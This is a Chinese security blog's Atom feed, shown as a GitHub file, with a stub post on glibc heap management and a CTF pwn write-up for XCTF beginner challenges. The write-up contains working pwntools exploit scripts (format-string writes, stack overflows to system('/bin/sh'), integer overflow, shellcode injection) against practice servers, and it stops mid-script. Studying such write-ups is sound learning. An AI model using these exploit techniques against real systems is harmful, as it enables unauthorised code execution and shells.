-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathatom.xml
executable file
·495 lines (264 loc) · 254 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>b0ring的安全小站</title>
<subtitle>学习、积累、沉淀。</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://yoursite.com/"/>
<updated>2019-10-14T00:53:56.551Z</updated>
<id>http://yoursite.com/</id>
<author>
<name>b0ring</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>Linux堆管理简述</title>
<link href="http://yoursite.com/2019/10/09/Linux%E5%A0%86%E7%AE%A1%E7%90%86%E5%AD%A6%E4%B9%A0/"/>
<id>http://yoursite.com/2019/10/09/Linux堆管理学习/</id>
<published>2019-10-09T08:45:20.000Z</published>
<updated>2019-10-14T00:53:56.551Z</updated>
<content type="html"><![CDATA[<h1 id="Linux堆管理学习"><a href="#Linux堆管理学习" class="headerlink" title="Linux堆管理学习"></a>Linux堆管理学习</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p><img src="../static/images/2019-10-09-17-12-46.png" alt></p><p>  一些题外话鼓励自己,刚步入研究生有些迷茫,但是还是要想好专注的一些事情,所以既然下决心在这学期好好钻研二进制,就努力学好吧。</p><p>  不知不觉已经过了差不多三四个礼拜了,一直在做ROP类型的pwn题,把攻防世界的新手区刷完之后又刷完了高手进阶区的ROP类型的pwn题(这些刷题记录打算和后面的一起出,由于高手进阶区的题目太多了,目前有5页题目,就一页一页的题目记录吧,希望自己能坚持到底)。碰到了第一个堆题目,左思右想还是应该先学习一下几种常见堆溢出的攻击方式以后再来做题,要弄清攻击原理,首先要理解Linux堆管理、分配的原理。学好pwn,感觉还是要先有一定基础吧!</p><p>  顺便给自己打个广告,之前新手区的刷题记录链接在下面:<br><a href="https://blog.b0ring.cf/#/posts/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C%E9%97%AF%E5%85%B3%E8%AE%B0%E5%BD%95_pwn%E6%96%B0%E6%89%8B%E5%8C%BA" target="_blank" rel="noopener">https://blog.b0ring.cf/#/posts/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C%E9%97%AF%E5%85%B3%E8%AE%B0%E5%BD%95_pwn%E6%96%B0%E6%89%8B%E5%8C%BA</a></p><p>  碎碎念不多说了,开始学习沉淀吧!</p><a id="more"></a><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p>  前人栽树,后人乘凉!本篇文章主要参考于阿里聚安全团队在freebuf上的总结文章和一篇国外友人的文章,感谢大佬们的总结分享!本文主要聚焦于glibc的堆分配机制,我也会努力前人知识的浓缩精华再添加一些自己的理解,让内容更加易懂。</p><blockquote><p>Linux堆内存管理深入分析(上) <a href="https://www.freebuf.com/articles/system/104144.html" target="_blank" rel="noopener">https://www.freebuf.com/articles/system/104144.html</a></p><p>Linux堆内存管理深入分析(下) <a href="https://www.freebuf.com/articles/security-management/105285.html" target="_blank" rel="noopener">https://www.freebuf.com/articles/security-management/105285.html</a></p><p>Syscalls used by malloc <a href="https://sploitfun.wordpress.com/2015/02/11/syscalls-used-by-malloc/" target="_blank" rel="noopener">https://sploitfun.wordpress.com/2015/02/11/syscalls-used-by-malloc/</a></p></blockquote><h2 id="malloc和free"><a href="#malloc和free" class="headerlink" title="malloc和free"></a>malloc和free</h2><p>  想必学过C语言的朋友们一定知道(如果没学过C语言想必大家也不会来学二进制了),内存的申请和释放一般都会使用malloc和free函数。而且他们负责任的程序员一定要让它们成对出现,否则就会使内存不断膨胀膨胀,到最后影响流畅性和用户体验。</p><p>  那么,当程序员调用malloc和free函数的时候,操作系统都做了什么呢?它们又是如何实现的呢?单线程和多线程会有区别吗?</p><p>  看似简单的两个函数,后面却蕴含了操作系统相关的大量知识。要解决这三个疑问必须从其实现中了解揣摩其原理,然后疑惑自然解开。后面将会详细通过介绍堆的数据结构和实现机制来详细介绍我个人对malloc和free实现机制的一些理解。</p><p>  不过我们可以首先解决一个问题,使用malloc和free函数的时候,操作系统又做了什么呢?</p><div id="flowchart-0" class="flow-chart"></div><p>```sequence</p><p>Alice->Bob: Hello Bob, how are you?</p><p>Note right of Bob: Bob thinks</p><p>Bob–>Alice: I am good thanks!</p><p>```<script src="https://cdnjs.cloudflare.com/ajax/libs/raphael/2.2.7/raphael.min.js"></script><script src="https://cdnjs.cloudflare.com/ajax/libs/flowchart/1.6.5/flowchart.min.js"></script><textarea id="flowchart-0-code" style="display: none"> st=>start: Start op=>operation: Your Operation cond=>condition: Yes or No? e=>end st->op->cond cond(yes)->e cond(no)->op</textarea><textarea id="flowchart-0-options" style="display: none">{"theme":"simple","scale":1,"line-width":2,"line-length":50,"text-margin":10,"font-size":12}</textarea><script> var code = document.getElementById("flowchart-0-code").value; var options = JSON.parse(decodeURIComponent(document.getElementById("flowchart-0-options").value)); var diagram = flowchart.parse(code); diagram.drawSVG("flowchart-0", options);</script></p>]]></content>
<summary type="html">
<h1 id="Linux堆管理学习"><a href="#Linux堆管理学习" class="headerlink" title="Linux堆管理学习"></a>Linux堆管理学习</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p><img src="../static/images/2019-10-09-17-12-46.png" alt></p>
<p>&emsp;&emsp;一些题外话鼓励自己,刚步入研究生有些迷茫,但是还是要想好专注的一些事情,所以既然下决心在这学期好好钻研二进制,就努力学好吧。</p>
<p>&emsp;&emsp;不知不觉已经过了差不多三四个礼拜了,一直在做ROP类型的pwn题,把攻防世界的新手区刷完之后又刷完了高手进阶区的ROP类型的pwn题(这些刷题记录打算和后面的一起出,由于高手进阶区的题目太多了,目前有5页题目,就一页一页的题目记录吧,希望自己能坚持到底)。碰到了第一个堆题目,左思右想还是应该先学习一下几种常见堆溢出的攻击方式以后再来做题,要弄清攻击原理,首先要理解Linux堆管理、分配的原理。学好pwn,感觉还是要先有一定基础吧!</p>
<p>&emsp;&emsp;顺便给自己打个广告,之前新手区的刷题记录链接在下面:<br><a href="https://blog.b0ring.cf/#/posts/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C%E9%97%AF%E5%85%B3%E8%AE%B0%E5%BD%95_pwn%E6%96%B0%E6%89%8B%E5%8C%BA" target="_blank" rel="noopener">https://blog.b0ring.cf/#/posts/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C%E9%97%AF%E5%85%B3%E8%AE%B0%E5%BD%95_pwn%E6%96%B0%E6%89%8B%E5%8C%BA</a></p>
<p>&emsp;&emsp;碎碎念不多说了,开始学习沉淀吧!</p>
</summary>
<category term="pwn" scheme="http://yoursite.com/tags/pwn/"/>
</entry>
<entry>
<title>攻防世界闯关记录_pwn高手进阶区</title>
<link href="http://yoursite.com/2019/10/05/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C%E9%97%AF%E5%85%B3%E8%AE%B0%E5%BD%95_pwn%E9%AB%98%E6%89%8B%E8%BF%9B%E9%98%B6%E5%8C%BA/"/>
<id>http://yoursite.com/2019/10/05/攻防世界闯关记录_pwn高手进阶区/</id>
<published>2019-10-05T07:39:49.000Z</published>
<updated>2019-10-05T08:41:38.670Z</updated>
<content type="html"><![CDATA[<p><img src="../static/images/2019-10-02-15-11-09.png" alt></p><p>  开坑一时爽,一直开坑一直爽。来高手进阶区继续爽吧!</p><a id="more"></a>]]></content>
<summary type="html">
<p><img src="../static/images/2019-10-02-15-11-09.png" alt></p>
<p>&emsp;&emsp;开坑一时爽,一直开坑一直爽。来高手进阶区继续爽吧!</p>
</summary>
<category term="pwn" scheme="http://yoursite.com/tags/pwn/"/>
</entry>
<entry>
<title>攻防世界闯关记录_pwn新手区</title>
<link href="http://yoursite.com/2019/09/25/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C%E9%97%AF%E5%85%B3%E8%AE%B0%E5%BD%95_pwn%E6%96%B0%E6%89%8B%E5%8C%BA/"/>
<id>http://yoursite.com/2019/09/25/攻防世界闯关记录_pwn新手区/</id>
<published>2019-09-25T09:26:37.000Z</published>
<updated>2019-10-05T08:41:05.194Z</updated>
<content type="html"><![CDATA[<p><img src="../static/images/2019-10-02-15-11-09.png" alt></p><p>  开个新坑,记录自己刷XCTF攻防世界的pwn题,因为刚入门吧,从新手篇开始练起。这次一边做题一边写笔记和writeup,巩固一下自己学到的东西。</p><a id="more"></a><h2 id="get-shell"><a href="#get-shell" class="headerlink" title="get_shell"></a>get_shell</h2><p>  这道题我不太想写writeup……做过的人肯定明白</p><h2 id="CGfsb"><a href="#CGfsb" class="headerlink" title="CGfsb"></a>CGfsb</h2><p>  这道题其实是一道非常简单的格式化字符串题,凭借着自己对格式化字符串的记忆,以及大量动态调试,最后还是把这道题做出来了。记录一下自己调试的过程吧,随便找一篇格式化字符串的原理介绍(其实我没看,不过自称是春秋的应该不会太差):<br><a href="https://www.cnblogs.com/ichunqiu/p/9329387.html" target="_blank" rel="noopener">https://www.cnblogs.com/ichunqiu/p/9329387.html</a></p><p>  先运行一下看看逻辑吧:</p><p><img src="../static/images/2019-09-25-17-35-39.png" alt></p><p>  就是先让你输入一下名字和信息,然后它会再打印出来,我们可以看一下源码:</p><p><img src="../static/images/2019-09-25-17-36-47.png" alt></p><p>  标红处可以明显发现有一处格式化字符串漏洞,然后这道题的逻辑是把pwnme的内容修改为8,我们可以很容易想到(说这话心虚,其实动调了半天才想到,主要忘记格式化字符串怎么用了……)在输入名字的时候写pwnme的地址,然后在输入message时使用格式化字符串漏洞把pwnme修改掉。打开r2查看pwnme变量的地址(使用的命令是is):</p><p><img src="../static/images/2019-09-25-17-41-06.png" alt></p><p>  随后使用gdb(安装了pwndbg插件)进行动态调试,先给0x80486d2地址打个断点:</p><p><img src="../static/images/2019-09-25-17-42-56.png" alt></p><p>  为什么给这个地址打断点呢?因为这个地址是printf执行完成后的第一个指令,我们在这个地方打断点,出来以后方便观察栈内存中的情况。运行一次程序,我们在name处输入test(就是为了测试message,现在name对我调试毫无意义),在message里输入%20s%1$n,看看栈里那个地方被改成了0x14(执行命令用r,我们输入完毕后会运行到断点处):</p><p><img src="../static/images/2019-09-25-17-47-44.png" alt></p><p>  看见栈中第二个位置所指向的地址内容被修改掉了。我们再运行一次,这次name输入的还是test(十六进制下的内容会变成:74657374a)<br>,message输入%20s%2$n(变成2$是为了不改掉test的值):</p><p><img src="../static/images/2019-09-25-17-59-28.png" alt></p><p>由于test前两个字节是7465,我们可以看到有两个字节写到了0xffffcdbc处,所以在写入pwnme地址之前我们需要填充两个字节,确保0xffffcdc0处可以被写成pwnme的地址,这样使用%$8n可以写入到此位置(与esp之间的差值为4的倍数),写exp如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">#encoding:utf-8</span><br><span class="line">'''</span><br><span class="line"> @Author:b0ring</span><br><span class="line"> @MySite:https://blog.b0ring.cf/</span><br><span class="line"> @Date:2019-09-29 09:59:02</span><br><span class="line"> @Version:1.0.0</span><br><span class="line">'''</span><br><span class="line"></span><br><span class="line">from pwn import *</span><br><span class="line">#p = process("CGfsb")</span><br><span class="line">p = remote("111.198.29.45",31983)</span><br><span class="line">payload_1 = "aa" + p32(pwnme_addr)</span><br><span class="line">p.sendlineafter("please tell me your name:\n",payload_1)</span><br><span class="line">payload_2 = "%8s%8$n"</span><br><span class="line">p.sendlineafter("leave your message please:\n",payload_2) </span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="when-did-you-born"><a href="#when-did-you-born" class="headerlink" title="when_did_you_born"></a>when_did_you_born</h2><p>  这道题其实挺简单的,只不过……在做题过程中蠢了一下,浪费了不少时间。我们先使用IDA分析一下源程序:</p><p><img src="../static/images/2019-09-26-19-22-12.png" alt></p><p>  首先程序的逻辑是这样的,你输入出生年份,一旦等于1926就会退出。然后让你填名字,输出你名字后再判断你是不是1926年出生,如果你是1926年出生就会给你flag。<br>  最开始的时候看错了,以为v4(存储名字的变量)覆盖不到v5上,然后懵逼了很久(吃一堑长一智,以后不能犯这种错误了)。然后研究了半天怎么整数溢出啥的,随后实现想不到就看了别人的wp,发现真的是用v4覆盖v5,唉……exp如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">#encoding:utf-8</span><br><span class="line">'''</span><br><span class="line"> @Author:b0ring</span><br><span class="line"> @MySite:https://blog.b0ring.cf/</span><br><span class="line"> @Date:2019-09-29 09:59:02</span><br><span class="line"> @Version:1.0.0</span><br><span class="line">'''</span><br><span class="line"></span><br><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">#p = process("when_did_you_born")</span><br><span class="line">p = remote("111.198.29.45",49187)</span><br><span class="line"></span><br><span class="line">p.sendlineafter("What's Your Birth?\n","1997")</span><br><span class="line"></span><br><span class="line">p.sendlineafter("What's Your Name?\n","a"*8+p64(1926))</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="hello-pwn"><a href="#hello-pwn" class="headerlink" title="hello_pwn"></a>hello_pwn</h2><p>  这道题也相当简单,脚本都不用写,但还是分析一下吧。用IDA看一下源码:</p><p><img src="../static/images/2019-09-26-19-29-05.png" alt></p><p>  就是你往unk_601068输入16个字符,它会判断dword_60106c(此地址比输入的地址高4位)是不是等于”nuaa”,如果等于就会给你flag。其实只要输入4个字符填充好0x601068,后四个字符就会覆盖掉0x60106c。这里要注意大端序小端序的问题,总之输入的内容是反过来的,最终payload为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1234aaun</span><br></pre></td></tr></table></figure><h2 id="level0"><a href="#level0" class="headerlink" title="level0"></a>level0</h2><p>  这道题难度真的是level0,反正是最简单的栈溢出了,用IDA分析一下:</p><p><img src="../static/images/2019-09-26-19-32-14.png" alt></p><p>  可以瞬间看到一个非常明显的栈溢出,偏移是0x80。而且它还给了利用函数:</p><p><img src="../static/images/2019-09-26-19-33-15.png" alt></p><p>所以直接利用就好,exp:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">#encoding:utf-8</span><br><span class="line">'''</span><br><span class="line"> @Author:b0ring</span><br><span class="line"> @MySite:https://blog.b0ring.cf/</span><br><span class="line"> @Date:2019-09-29 09:59:02</span><br><span class="line"> @Version:1.0.0</span><br><span class="line">'''</span><br><span class="line"></span><br><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">#p = process("./level0")</span><br><span class="line">p = remote("111.198.29.45",53314)</span><br><span class="line"></span><br><span class="line">call_system_addr = 0x00400596</span><br><span class="line"></span><br><span class="line">payload = 'a' * 136</span><br><span class="line">payload += p64(call_system_addr)</span><br><span class="line"></span><br><span class="line">p.sendlineafter("Hello, World\n",payload)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="level2"><a href="#level2" class="headerlink" title="level2"></a>level2</h2><p>  用IDA先分析一下源码:</p><p><img src="../static/images/2019-09-27-21-36-40.png" alt></p><p>  buf只有0x88的空间,可见此处明显会存在溢出。查看一下保护机制:</p><p><img src="../static/images/2019-09-27-21-38-03.png" alt></p><p>  没canary,我们查看一下有没有可以利用的函数和字符串吧:</p><p><img src="../static/images/2019-10-05-16-38-50.png" alt></p><p>  可见system函数是程序自己会调用的,也有/bin/sh的字符串,直接利用就行,exp如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">#encoding:utf-8</span><br><span class="line">'''</span><br><span class="line"> @Author:b0ring</span><br><span class="line"> @MySite:https://blog.b0ring.cf/</span><br><span class="line"> @Date:2019-09-29 09:59:02</span><br><span class="line"> @Version:1.0.0</span><br><span class="line">'''</span><br><span class="line"></span><br><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">#p = process("level2")</span><br><span class="line">p = remote("111.198.29.45",40649)</span><br><span class="line">elf = ELF("level2")</span><br><span class="line">bin_sh_addr = 0x0804a024</span><br><span class="line">system_addr = elf.plt['system']</span><br><span class="line"></span><br><span class="line">payload = 'a'*140</span><br><span class="line">payload += p32(system_addr) + p32(1) + p32(bin_sh_addr)</span><br><span class="line"></span><br><span class="line">p.sendlineafter("Input:\n",payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="guess-num"><a href="#guess-num" class="headerlink" title="guess_num"></a>guess_num</h2><p>  这是个很有意思的题目,似乎从某年的ctf出过一道骰子的逆向题以后大家都喜欢玩骰子,我本科出校ctf题的时候其实也喜欢玩骰子。废话不多说了,我们来分析一下源代码吧:</p><p><img src="../static/images/2019-10-02-13-46-29.png" alt></p><p>  可见程序大致的逻辑是:输入名字->丢10次骰子,丢错一次就会GG,如果十次都成功的话就可以拿到flag。其实有点儿更像逆向题了。不过我们此处可以利用输入名字时使用gets函数来覆盖掉seed的值,以操控种子来使随机数数列成为我们所可控的序列。关于name需要多长,我们可以观察堆栈空间:</p><p><img src="../static/images/2019-10-02-13-50-25.png" alt></p><p>  大致需要0x3C-0x10的长度,也可能在真正运行时比我们预计的更长。由于此处偷懒没有使用动态调试,直接覆盖了60个重复的’a’,然后编写一个C语言程序,使用0x61616161作为种子来生成随机数列,源码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">#include <stdio.h></span><br><span class="line">#include <stdlib.h></span><br><span class="line"></span><br><span class="line">int main(){</span><br><span class="line"> char *a = "aaaaaaaa";</span><br><span class="line"> srand(0x61616161);</span><br><span class="line"> for(int i=0;i<=9;i++){</span><br><span class="line"> int test = rand()%6 + 1;</span><br><span class="line"> printf("%d\n",test);</span><br><span class="line"> }</span><br><span class="line"> return 0;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>  查看随机生成的序列:</p><p><img src="../static/images/2019-10-02-13-55-32.png" alt></p><p>  然后照着这个顺序输入就可以了:</p><p><img src="../static/images/2019-10-02-13-56-08.png" alt></p><h2 id="int-overflow"><a href="#int-overflow" class="headerlink" title="int_overflow"></a>int_overflow</h2><p>  这道题还是略微有点儿意思的。先让我们查看一下保护机制吧:</p><p><img src="../static/images/2019-10-02-13-58-58.png" alt></p><p>  没有canary,比较容易进行栈溢出操作,来分析一下源码(直接把漏洞点贴出来吧):</p><p><img src="../static/images/2019-10-02-14-00-35.png" alt></p><p>  漏洞点在于此处这个验证密码的位置,首先程序会获取输入字符串的长度,并存于一个<strong>int8类型的变量中,实际上,这个</strong>int8变量最多可以存储256大小的数字。如果这个数字为257,那么在内存中查看的话其大小就变成了257-256=1。也就是说,我们输入一个长度为256+4~256+8长度之内的字符串,就可以溢出s,来进行ROP操作。exp如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">#encoding:utf-8</span><br><span class="line">'''</span><br><span class="line"> @Author:b0ring</span><br><span class="line"> @MySite:https://blog.b0ring.cf/</span><br><span class="line"> @Date:2019-09-29 09:59:02</span><br><span class="line"> @Version:1.0.0</span><br><span class="line">'''</span><br><span class="line"></span><br><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">shell_addr = 0x0804868b</span><br><span class="line"></span><br><span class="line">#p = process("./int_overflow")</span><br><span class="line">p = remote("111.198.29.45",34095)</span><br><span class="line"></span><br><span class="line">payload = 0x14*'a' + 4*'a' + p32(shell_addr) + (256-0x14-4-4)*'a' + 4*'a'</span><br><span class="line"></span><br><span class="line">p.sendlineafter("Your choice:","1")</span><br><span class="line">p.sendlineafter("Please input your username:\n","test")</span><br><span class="line">p.sendlineafter("Please input your passwd:\n",payload)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="cgpwn2"><a href="#cgpwn2" class="headerlink" title="cgpwn2"></a>cgpwn2</h2><p>  这是一道很基本的栈溢出题目,分析一下源码吧:</p><p><img src="../static/images/2019-10-02-14-11-38.png" alt></p><p>  漏洞点就在此处,name是使用堆进行存储的,而message是使用栈中的s字符串来存储的,使用了不安全的gets函数,我们直接把返回地址覆盖成system,然后参数调用name,再在name中输入我们想执行的命令就行了,exp如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">#encoding:utf-8</span><br><span class="line">'''</span><br><span class="line"> @Author:b0ring</span><br><span class="line"> @MySite:https://blog.b0ring.cf/</span><br><span class="line"> @Date:2019-09-29 09:59:02</span><br><span class="line"> @Version:1.0.0</span><br><span class="line">'''</span><br><span class="line"></span><br><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">#p = process("cgpwn2")</span><br><span class="line">p = remote("111.198.29.45",50695)</span><br><span class="line">elf = ELF("cgpwn2")</span><br><span class="line"></span><br><span class="line">name = "/bin/sh"</span><br><span class="line">system_addr = elf.plt["system"]</span><br><span class="line">name_addr = 0x0804A080</span><br><span class="line">message = "a" * 42 + p32(system_addr) + p32(0) + p32(name_addr)</span><br><span class="line"></span><br><span class="line">p.sendlineafter("please tell me your name\n",name)</span><br><span class="line">p.sendlineafter("hello,you can leave some message here:",message)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="string"><a href="#string" class="headerlink" title="string"></a>string</h2><p>  这道题相当相当有意思,作为菜鸡一枚,没有查wp的情况下做了得有两个多小时才做出来。可能是新手区里最有意思的一道题目了,因此打算详细讲讲,我们想从入口处分析一下源码吧:</p><p><img src="../static/images/2019-10-02-14-18-46.png" alt></p><p>  此处我刚开始没有摸到头脑,仔细看会发现,v3首先申请了8大小的内存空间,然后在前4个空间中存放了数字68,在后四个空间中存放了数字85。而v4中存放的是v3的内容,并不是68、和85两个数字,而是存放这两个数字的内存空间的地址。在后面会很有用。</p><p>  接下来让我们分析一下0x400D72处这个函数:</p><p><img src="../static/images/2019-10-02-14-21-09.png" alt></p><p>  这里使用了scanf(“%s”)来进行读取操作,看似是危险函数,然而由于对字符串长度进行了检验并且开启了canary,实际上是无法利用的。想利用还得继续看其调用的其他函数:</p><p><img src="../static/images/2019-10-02-14-24-26.png" alt></p><p>  反正第一次就得输入east了,没得选。在接着看sub_400BB9这个函数:</p><p><img src="../static/images/2019-10-02-14-27-03.png" alt></p><p>  这个地方选1的话会写入一个地址,然后第二个输入点存在格式化字符串漏洞,我们可以对某空间进行任意写操作。我们可以记住此处。然后再接着看第三个调用的函数:</p><p><img src="../static/images/2019-10-02-14-28-51.png" alt></p><p>  其中a1存放的是v3的地址,就是我们v3申请的内存大小为8的内存空间。理顺思路,这里如果我们可以使这8内存的空间中的前四个字节和后四个字节相等,就可以打shellcode。于是我们可以理顺思路,在最开始时拿到两个4字节的地址->v3[0]和v3[1]的地址,然后在之后的函数中将其中一个修改成和另一个相同->再在此处打shellcode。exp如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">#encoding:utf-8</span><br><span class="line">'''</span><br><span class="line"> @Author:b0ring</span><br><span class="line"> @MySite:https://blog.b0ring.cf/</span><br><span class="line"> @Date:2019-09-29 09:59:02</span><br><span class="line"> @Version:1.0.0</span><br><span class="line">'''</span><br><span class="line"></span><br><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">context.terminal = ['deepin-terminal','-x','sh','-c']</span><br><span class="line">context(arch='amd64', os='linux')</span><br><span class="line">#p = process("./string")</span><br><span class="line">#gdb.attach(proc.pidof(p)[0])</span><br><span class="line">p = remote("111.198.29.45",42101)</span><br><span class="line"></span><br><span class="line">print p.recvuntil("secret[0] is ")</span><br><span class="line">after_content = p.recvuntil("What should your character's name be:\n")</span><br><span class="line">print after_content</span><br><span class="line"></span><br><span class="line">secret_addr = int(after_content.split('\n')[0],16)</span><br><span class="line"></span><br><span class="line">p.sendline("test")</span><br><span class="line"></span><br><span class="line">addr_wanted = str(secret_addr)</span><br><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line">print("[*] addr_wanted:",addr_wanted)</span><br><span class="line"></span><br><span class="line">print p.sendlineafter("So, where you will go?east or 